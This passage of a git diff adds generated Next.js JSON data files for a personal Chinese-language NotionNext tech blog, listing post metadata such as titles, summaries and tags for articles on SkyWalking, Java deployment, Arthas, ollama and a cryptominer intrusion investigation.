2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"文字"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\227\245\345\277\227.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\227\245\345\277\227.json"
new file mode 100644
index 000000000..a4d3d1a08
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\346\227\245\345\277\227.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"日志"},"__N_SSG":true}
\ No newline at end of file
diff --git "a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\350\207\252\345\212\250\345\214\226.json" "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\350\207\252\345\212\250\345\214\226.json"
new file mode 100644
index 000000000..ae62beaf6
--- /dev/null
+++ "b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/\350\207\252\345\212\250\345\214\226.json"
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 